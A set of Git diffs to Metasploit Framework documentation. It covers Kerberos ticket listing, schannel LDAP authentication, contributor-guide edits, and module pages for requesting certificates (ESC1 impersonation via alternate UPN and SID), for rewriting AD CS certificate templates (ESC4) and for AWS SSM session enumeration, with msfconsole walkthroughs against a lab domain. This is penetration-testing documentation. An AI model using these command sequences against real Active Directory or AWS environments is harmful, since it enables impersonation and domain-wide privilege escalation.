msf6 auxiliary(admin/kerberos/get_ticket) > klist
|
||||
Kerberos Cache
|
||||
==============
|
||||
host principal sname issued status path
|
||||
---- --------- ----- ------ ------ ----
|
||||
192.168.159.10 smcintyre@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-01-24 20:23:54 -0500 valid /home/smcintyre/.msf4/loot/20230124202354_default_192.168.159.10_mit.kerberos.cca_566767.bin
|
||||
host principal sname issued status path
|
||||
---- --------- ----- ------ ------ ----
|
||||
172.30.239.85 Administrator@daforest.com krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-01-24 20:23:54 -0500 valid /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin
|
||||
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) >
|
||||
```
|
||||
|
||||
Once the TGT has been issued, it can be seen in the output of the `klist` command. With the TGT saved, it will
|
||||
automatically be used in the future to request ticket granting services (TGS) for authentication to specific services.
|
||||
|
||||
## Authenticating To LDAP
|
||||
Certificates can also be used to directly authenticate to LDAP using schannel. Metasploit modules that use the builtin
|
||||
LDAP library (including `auxiliary/gather/ldap_query`) offer this as an authentication option that can be enabled. To
|
||||
use schannel authentication a few options must be set.
|
||||
|
||||
* `LDAP::Auth` -- must be set to `schannel`
|
||||
* `LDAP::CertFile` -- must be set to the PFX certificate file with which to authenticate
|
||||
* `SSL` -- must be set to `true` (`schannel` authentication is only compatible with TLS connections)
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(gather/ldap_query) > set LDAP::Auth schannel
|
||||
LDAP::Auth => schannel
|
||||
msf6 auxiliary(gather/ldap_query) > set LDAP::CertFile /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
|
||||
LDAP::CertFile => /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
|
||||
msf6 auxiliary(gather/ldap_query) > set SSL true
|
||||
[!] Changing the SSL option's value may require changing RPORT!
|
||||
SSL => true
|
||||
msf6 auxiliary(gather/ldap_query) > enum_domain
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com
|
||||
[+] 172.30.239.85:389 Discovered schema DN: DC=daforest,DC=com
|
||||
DC=msflab DC=local
|
||||
==================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
lockoutduration 0:00:30:00
|
||||
lockoutthreshold 0
|
||||
maxpwdage 42:00:00:00
|
||||
minpwdage 1:00:00:00
|
||||
minpwdlength 7
|
||||
ms-ds-machineaccountquota 10
|
||||
name msflab
|
||||
objectsid S-1-5-21-3402587289-1488798532-3618296993
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
+4
-4
@@ -167,7 +167,7 @@ Making sure you're in the right directory to run `msfconsole` can become tedious
|
||||
echo 'alias msfconsole="pushd $HOME/git/metasploit-framework && ./msfconsole && popd"' >> ~/.bash_aliases
|
||||
```
|
||||
|
||||
Consider generating a GPG key to sign your commits. Read about [why][git-horror] and [[how|./committer-keys.md#signing-your-commits-and-merges]. Once you have done this, consider enabling automatic signing of all your commits with the following command:
|
||||
Consider generating a GPG key to sign your commits. Read about [why][git-horror] and [[how|./committer-keys.md#signing-your-commits-and-merges]]. Once you have done this, consider enabling automatic signing of all your commits with the following command:
|
||||
|
||||
```
|
||||
cd *path to your cloned MSF repository on disk*
|
||||
@@ -176,7 +176,7 @@ git config commit.gpgsign true
|
||||
|
||||
Developers tend to customize their own [git aliases] to speed up common commands, but here are a few common ones:
|
||||
|
||||
```rc
|
||||
```ini
|
||||
[alias]
|
||||
# An easy, colored oneline log format that shows signed/unsigned status
|
||||
nicelog = log --pretty=format:'%Cred%h%Creset -%Creset %s %Cgreen(%cr) %C(bold blue)<%aE>%Creset [%G?]'
|
||||
@@ -216,9 +216,9 @@ We're excited to see your upcoming contributions of new modules, documentation,
|
||||
|
||||
Finally, we welcome your feedback on this guide, so feel free to reach out to us on [Slack] or open a [new issue]. For their significant contributions to this guide, we would like to thank [@kernelsmith], [@corelanc0d3r], and [@ffmike].
|
||||
|
||||
[commercial-installer]:http://metasploit.com/download
|
||||
[commercial-installer]:https://metasploit.com/download
|
||||
[kali-user-instructions]:https://docs.kali.org/general-use/starting-metasploit-framework-in-kali
|
||||
[parrot-user-instructions]:https://parrotsec.org/docs/installation.html
|
||||
[parrot-user-instructions]:https://parrotsec.org/docs/category/installation
|
||||
[CONTRIBUTING.md]:https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md
|
||||
|
||||
[Ubuntu]:https://www.ubuntu.com/download/desktop
|
||||
|
||||
@@ -14,7 +14,7 @@ The following sites are great references for Git padawans and jedi alike:
|
||||
* [Git is Easier Than You Think](http://nfarina.com/post/9868516270/git-is-simpler): A nice tutorial that breaks down one Git user's experience switching from Subversion.
|
||||
* [PeepCode: Git](http://peepcode.com/products/git): A one-hour (not-free) screencast covering Git basics. Well-made and easy to follow.
|
||||
* [GitHub Flow](http://scottchacon.com/2011/08/31/github-flow.html): Another great post from Scott Chacon describing a GitHub-based workflow for projects.
|
||||
* [Getting Started with GitHub](http://pragprog.com/screencasts/v-scgithub/insider-guide-to-github): Also from GitHub's own Scott Chacon, this two-part screencast (one free and one paid) will walk you through the basics of using GitHub.
|
||||
* [Getting Started with GitHub](https://pragprog.com/screencasts/v-scgithub/insider-guide-to-github): Also from GitHub's own Scott Chacon, this two-part screencast (one free and one paid) will walk you through the basics of using GitHub.
|
||||
|
||||
|
||||
## Using Git in Editors
|
||||
|
||||
@@ -110,8 +110,8 @@ your day-to-day workflow with Git.
|
||||
## Git in Bash
|
||||
When using Git, it's very handy (read: pretty much mandatory) to have an ambient cue in your shell telling you what branch you're currently on. Use this function in your .profile/.bashrc/.bash_profile to enable you to place your Git branch in your prompt:
|
||||
|
||||
````
|
||||
```sh
|
||||
function parse_git_branch {
|
||||
git branch --no-color 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1)/'
|
||||
}
|
||||
````
|
||||
```
|
||||
|
||||
@@ -12,7 +12,7 @@ A fork is when you snapshot someone else's codebase into your own repo, presumab
|
||||
|
||||
You only fork once, you clone as many times as you have machines on which you want to code, and you branch, commit, and push as often as you like (you don't always have to push, you can push later or not at all, but you'll have to push before doing a pull request, a.k.a. PR), and you submit a PR when you are ready. See below
|
||||
|
||||
```
|
||||
```plaintext
|
||||
github.com/rapid7/metasploit-framework --> fork --> github.com/<...>/metasploit-framework
|
||||
^ |
|
||||
| git clone git://github.com/<...>/metasploit-framework.git
|
||||
@@ -26,4 +26,4 @@ github.com/rapid7/metasploit-framework --> fork --> github.com/<...>/metasploit-
|
||||
`-- push <-- branch_xyz
|
||||
```
|
||||
|
||||
(Thanks to kernelsmith for this excellent description)
|
||||
(Thanks to kernelsmith for this excellent description)
|
||||
|
||||
@@ -198,8 +198,7 @@ Asking for: https/TSTWLPT1000000
|
||||
|
||||
Tickets in the current session can be viewed like so:
|
||||
|
||||
```
|
||||
|
||||
```msf
|
||||
meterpreter > kerberos_ticket_list
|
||||
[+] Kerberos tickets found in the current session.
|
||||
[00000000] - 0x00000012 - aes256_hmac
|
||||
|
||||
+30
-16
@@ -1,7 +1,7 @@
|
||||
# This file maps the files within `metasploit-framework.wiki/` to the navigational menu
|
||||
# Modify this file to change the doc site's navigation/hierarchy
|
||||
|
||||
# @param path [String] the prefix to remove from a string
|
||||
# @param prefix [String] The prefix to remove from a string
|
||||
# @return [proc<String, String>] When called with a string, the returned string has the prefix removed
|
||||
def without_prefix(prefix)
|
||||
proc { |value| value.sub(/^#{prefix}/, '') }
|
||||
@@ -197,20 +197,26 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: 'ad-certificates/overview.md',
|
||||
title: 'Overview',
|
||||
nav_order: 0,
|
||||
nav_order: 0
|
||||
},
|
||||
{
|
||||
path: 'ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md',
|
||||
title: 'Attacking AD CS ESC Vulnerabilities Using Metasploit',
|
||||
nav_order: 1
|
||||
},
|
||||
{
|
||||
path: '../../documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md',
|
||||
title: 'Vulnerable cert finder',
|
||||
nav_order: 2
|
||||
},
|
||||
{
|
||||
path: '../../documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md',
|
||||
title: 'Manage certificate templates'
|
||||
},
|
||||
{
|
||||
path: '../../documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md',
|
||||
title: 'Request certificates'
|
||||
},
|
||||
{
|
||||
path: '../../documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md',
|
||||
title: 'Vulnerable cert finder'
|
||||
},
|
||||
{
|
||||
path: 'ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md',
|
||||
title: 'Attacking AD CS ESC Vulnerabilities Using Metasploit'
|
||||
},
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
@@ -266,7 +272,7 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: 'How-to-use-msfvenom.md',
|
||||
nav_order: 7
|
||||
},
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
@@ -297,6 +303,10 @@ NAVIGATION_CONFIG = [
|
||||
path: 'Metasploit-Database-Support.md',
|
||||
title: 'Database Support'
|
||||
},
|
||||
{
|
||||
path: 'How-To-Use-Plugins.md',
|
||||
title: 'Metasploit Plugins',
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
@@ -526,6 +536,10 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: 'How-to-use-command-stagers.md'
|
||||
},
|
||||
{
|
||||
path: 'How-to-use-fetch-payloads.md',
|
||||
title: 'How to use Fetch Payloads'
|
||||
},
|
||||
{
|
||||
old_wiki_path: 'How-to-write-a-check()-method.md',
|
||||
path: 'How-to-write-a-check-method.md'
|
||||
@@ -605,10 +619,6 @@ NAVIGATION_CONFIG = [
|
||||
path: 'How-to-use-the-Seh-mixin-to-exploit-an-exception-handler.md',
|
||||
title: 'SEH Exploitation'
|
||||
},
|
||||
{
|
||||
path: 'How-to-clean-up-files-using-FileDropper.md',
|
||||
title: 'FileDropper'
|
||||
},
|
||||
{
|
||||
path: 'How-to-use-PhpEXE-to-exploit-an-arbitrary-file-upload-bug.md',
|
||||
title: 'PhpExe'
|
||||
@@ -695,6 +705,10 @@ NAVIGATION_CONFIG = [
|
||||
path: 'Using-ReflectiveDLL-Injection.md',
|
||||
title: 'ReflectiveDLL Injection'
|
||||
},
|
||||
{
|
||||
path: 'How-to-cleanup-after-module-execution.md',
|
||||
title: 'Cleanup'
|
||||
},
|
||||
]
|
||||
},
|
||||
{
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
# Folder Purpose
|
||||
This folder is primarily used to hold documentation for Metasploit's various modules, as well as the developers guide
|
||||
at `developers_guide.pdf`.
|
||||
|
||||
# Metasploit Developer Documentation
|
||||
|
||||
Metasploit is actively supported by a community of hundreds of
|
||||
@@ -19,7 +23,7 @@ treasures there, such as:
|
||||
## API Documentation
|
||||
|
||||
If you are looking for API documentation, you may run `rake yard` to
|
||||
generate a navigatable view of the comment documentation used throughout
|
||||
generate a navigable view of the comment documentation used throughout
|
||||
Metasploit, or visit https://rapid7.github.io/metasploit-framework/api
|
||||
for a recently generated online version.
|
||||
|
||||
|
||||
@@ -21,6 +21,15 @@ The certificate template to issue, e.g. "User".
|
||||
### ALT_DNS
|
||||
Alternative DNS name to specify in the certificate. Useful in certain attack scenarios.
|
||||
|
||||
### ALT_SID
|
||||
Alternative object SID to specify in the NTDS_CA_SECURITY_EXT extension. This is useful when exploiting ESC1 on a target
|
||||
where the [KB5014754][KB5014754] patch has been applied.
|
||||
|
||||
See the following resources for more information.
|
||||
|
||||
* https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
|
||||
* https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d
|
||||
|
||||
### ALT_UPN
|
||||
Alternative User Principal Name (UPN) to specify in the certificate. Useful in certain attack scenarios. This is in the
|
||||
format `$username@$dnsDomainName`.
|
||||
@@ -112,11 +121,18 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
### Issue A Certificate With A Specific subjectAltName (AKA ESC1)
|
||||
In this scenario, an authenticated user exploits a misconfiguration allowing them to issue a certificate for a different
|
||||
User Principal Name (UPN), typically one that is an administrator. Exploiting this misconfiguration to specify a
|
||||
different UPN effectively issues a certificate that can be used to authenticate as another user.
|
||||
different UPN effectively issues a certificate that can be used to authenticate as another user. If the target server
|
||||
has the [KB5014754][KB5014754] patch applied and the REG_DWORD
|
||||
`HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement` value is set to 2, then the SID for the
|
||||
account with the specified UPN should be supplied as well. In November of 2023, Microsoft will change the default value
|
||||
of `StrongCertificateBindingEnforcement` to 2. If the server has the patch applied, the SID will be returned in the
|
||||
issued certificate which ensures that the required strong mapping is in place. If the strong mapping is required and the
|
||||
SID is not specified in the certificate, then Kerberos authentication wil fail with `KDC_ERR_CERTIFICATE_MISMATCH`.
|
||||
|
||||
The user must know:
|
||||
|
||||
* A vulnerable certificate template, in this case `ESC1-Test`.
|
||||
* The SID of a target account, in this case `S-1-5-21-3402587289-1488798532-3618296993-1000`
|
||||
* The UPN of a target account, in this case `smcintyre@msflab.local`.
|
||||
|
||||
See [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2) section on ESC1 for more
|
||||
@@ -134,20 +150,25 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
|
||||
CA => msflab-DC-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Test
|
||||
CERT_TEMPLATE => ESC1-Test
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
|
||||
ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN smcintyre@msflab.local
|
||||
ALT_UPN => smcintyre@msflab.local
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
|
||||
[*] 192.168.159.10:445 - Binding to \cert...
|
||||
[+] 192.168.159.10:445 - Bound to \cert
|
||||
[*] 192.168.159.10:445 - Requesting a certificate...
|
||||
[*] 192.168.159.10:445 - Requesting a certificate for user aliddle - alternate UPN: smcintyre@msflab.local - digest algorithm: SHA256 - template: ESC1-Test
|
||||
[+] 192.168.159.10:445 - The requested certificate was issued.
|
||||
[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000
|
||||
[*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local
|
||||
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125859_default_unknown_windows.ad.cs_829589.pfx
|
||||
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230608111432_default_192.168.159.10_windows.ad.cs_029062.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
### Issue A Certificate With The *Any Purpose* EKU (AKA ESC2)
|
||||
@@ -287,3 +308,5 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
[KB5014754]: https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
|
||||
@@ -0,0 +1,221 @@
|
||||
## RBCD Exploitation
|
||||
|
||||
This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain Controller.
|
||||
|
||||
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be restored using
|
||||
the CREATE or UPDATE actions.
|
||||
|
||||
In order for the `auxiliary/admin/ldap/ad_cs_cert_template` module to succeed, the authenticated user must have the
|
||||
necessary permissions to perform the specified action on the target object (the certificate specified in
|
||||
`CERT_TEMPLATE`).
|
||||
|
||||
## Lab setup
|
||||
|
||||
Follow the steps in the [[Installing AD CS|ad-certificates/overview.md#installing-ad-cs]] documentation.
|
||||
|
||||
## Module usage
|
||||
|
||||
The `admin/ldap/ad_cs_template` module is generally used to update a certificate template as part of an ESC4 attack.
|
||||
|
||||
1. From msfconsole
|
||||
2. Do: `use auxiliary/admin/ldap/ad_cs_cert_template`
|
||||
3. Set the `RHOSTS`, `USERNAME` and `PASSWORD` options
|
||||
4. Set the `CERT_TEMPLATE` option to the name of the target certificate template
|
||||
5. Set the `ACTION`
|
||||
b. For the `UPDATE` action, set the `TEMPLATE_FILE` option
|
||||
c. For the `CREATE` action, optionally set the `TEMPLATE_FILE` option
|
||||
6. Run the module and see the operation complete successfully
|
||||
|
||||
## Actions
|
||||
|
||||
### CREATE
|
||||
Create the certificate template in the LDAP server. If no `TEMPLATE_FILE` is specified, a new certificate template will
|
||||
be created based on the Microsoft-builtin `SubCA` template with a default security descriptor. If the `TEMPLATE_FILE` is
|
||||
specified, the attributes it defines are merged with the `SubCA` template. This allows attributes such as the security
|
||||
descriptor and name to be defined.
|
||||
|
||||
### READ
|
||||
Read the certificate template from the LDAP server. A copy will be saved to disk.
|
||||
|
||||
### UPDATE
|
||||
Update the certificate template in the LDAP server. The `TEMPLATE_FILE` must be specified and will be used to read
|
||||
attributes to set on the certificate template object. The `TEMPLATE_FILE` option can be set to a previously stored
|
||||
template file to restore the object to a previous state.
|
||||
|
||||
### DELETE
|
||||
Delete the certificate template in the LDAP server. This is a destructive action.
|
||||
|
||||
## Options
|
||||
|
||||
### CERT_TEMPLATE
|
||||
The remote certificate template name. This is used as the common name (CN) for the LDAP object.
|
||||
|
||||
### TEMPLATE_FILE
|
||||
This is a local template file from which to read object attributes from. Two file formats are supported, JSON and YAML.
|
||||
The file format is determined by the extension so the file must end in either `.json` or `.yaml`.
|
||||
|
||||
#### The JSON format
|
||||
The JSON file format is a hash with attribute name keys and ASCII-hex encoded values. These files are compatible with
|
||||
[`Certipy`'s][certipy] `template` command. This module uses the JSON file format when storing copies fo certificate to
|
||||
disk.
|
||||
|
||||
#### The YAML format
|
||||
The YAML file format is similiar to the JSON file format, but takes advantage of YAML's ability to include comments.
|
||||
The file consists of a hash with attribute name keys and value strings. The `nTSecurityDescriptor` file can be either
|
||||
a binary string representing a literal value, or a security descriptor defined in Microsoft's [Security Descriptor
|
||||
Definition Language (SDDL)][sddl]. Premade configuration templates provided by Metasploit use this format.
|
||||
|
||||
## Scenarios
|
||||
|
||||
For steps on exploiting ESC4, see [[Exploiting ESC4|ad-certificates/attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc4-to-gain-domain-administrator-privileges]].
|
||||
|
||||
### Creating A Certificate Template
|
||||
|
||||
In this scenario, the operator uses the module to create a new certificate template. Either the default local template
|
||||
can be used to make one vulnerable to ESC1, or a previously saved configuration can be used. In the following example,
|
||||
the `TEMPLATE_FILE` option is used to restore the settings from a previously deleted template.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle
|
||||
USERNAME => aliddle
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1!
|
||||
PASSWORD => Password1!
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
|
||||
CERT_TEMPLATE => ESC4-Test
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION CREATE
|
||||
ACTION => CREATE
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json
|
||||
TEMPLATE_FILE => /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 192.168.159.10:389 Getting root DSE
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[*] Creating: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
```
|
||||
|
||||
### Deleting A Certificate Template
|
||||
|
||||
In this scenario, the operator uses the module to delete the `ESC4-Test` certificate template. A backup of the original
|
||||
certificate's data is made before it is deleted. This file can be used with the `CREATE` action to restore the
|
||||
certificate template.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle
|
||||
USERNAME => aliddle
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1!
|
||||
PASSWORD => Password1!
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
|
||||
CERT_TEMPLATE => ESC4-Test
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION DELETE
|
||||
ACTION => DELETE
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 192.168.159.10:389 Getting root DSE
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local
|
||||
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
```
|
||||
|
||||
### Reading A Certificate Template
|
||||
|
||||
In this scenario, the operator uses the module to read the configuration of the default `User` certificate template.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle
|
||||
USERNAME => aliddle
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1!
|
||||
PASSWORD => Password1!
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE User
|
||||
CERT_TEMPLATE => User
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION READ
|
||||
ACTION => READ
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 192.168.159.10:389 Getting root DSE
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[+] Read certificate template data for: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local
|
||||
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505125728_default_192.168.159.10_windows.ad.cs.te_691087.json
|
||||
[*] Certificate Template:
|
||||
[*] distinguishedName: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local
|
||||
[*] displayName: User
|
||||
[*] objectGUID: ceed9142-d00f-459e-9694-02eb59ea1ec8
|
||||
[*] msPKI-Certificate-Name-Flag: 0xa6000000
|
||||
[*] * CT_FLAG_SUBJECT_ALT_REQUIRE_UPN
|
||||
[*] * CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
|
||||
[*] * CT_FLAG_SUBJECT_REQUIRE_EMAIL
|
||||
[*] * CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
|
||||
[*] msPKI-Enrollment-Flag: 0x00000029
|
||||
[*] * CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS
|
||||
[*] * CT_FLAG_PUBLISH_TO_DS
|
||||
[*] * CT_FLAG_AUTO_ENROLLMENT
|
||||
[*] msPKI-RA-Signature: 0x00000000
|
||||
[*] pKIExtendedUsage:
|
||||
[*] * 1.3.6.1.4.1.311.10.3.4
|
||||
[*] * 1.3.6.1.5.5.7.3.4
|
||||
[*] * 1.3.6.1.5.5.7.3.2
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
```
|
||||
|
||||
### Updating A Certificate Template
|
||||
|
||||
In this scenario, the operator uses the module to update and reconfigure the `ESC4-Test` certificate template to make it
|
||||
vulnerable to ESC1 (the default template settings). This process first makes a backup of the certificate data that can
|
||||
be used later. The local certificate template data can be modified to set a custom security descriptor.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle
|
||||
USERNAME => aliddle
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1!
|
||||
PASSWORD => Password1!
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
|
||||
CERT_TEMPLATE => ESC4-Test
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE
|
||||
ACTION => UPDATE
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 192.168.159.10:389 Getting root DSE
|
||||
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
|
||||
[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local
|
||||
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083802_default_192.168.159.10_windows.ad.cs.te_593597.json
|
||||
[*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
```
|
||||
|
||||
[certipy]: https://github.com/ly4k/Certipy
|
||||
[sddl]: https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language
|
||||
@@ -0,0 +1,52 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Provided AWS credentials, this module will call the authenticated API of Amazon Web Services to list all SSM-enabled EC2
|
||||
instances accessible to the account. Once enumerated as SSM-enabled, the instances can be controlled using out-of-band
|
||||
WebSocket sessions provided by the AWS API (nominally, privileged out of the box). This module provides not only the API
|
||||
enumeration identifying EC2 instances accessible via SSM with given credentials, but enables session initiation for all
|
||||
identified targets (without requiring target-level credentials) using the CreateSession mixin option. The module also
|
||||
provides an EC2 ID filter and a limiting throttle to prevent session stampedes or expensive messes.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Obtain AWS access keys
|
||||
2. Start msfconsole
|
||||
3. Set the `ACCESS_KEY_ID`, `SECRET_ACCESS_KEY`, `REGION`
|
||||
4. Run the module, see EC2 instances
|
||||
|
||||
## Options
|
||||
|
||||
## LIMIT
|
||||
Only return the specified number of results from each region.
|
||||
|
||||
## FILTER_EC2_ID
|
||||
Look for specific EC2 instance ID.
|
||||
|
||||
## REGION
|
||||
AWS Region (e.g. "us-west-2").
|
||||
|
||||
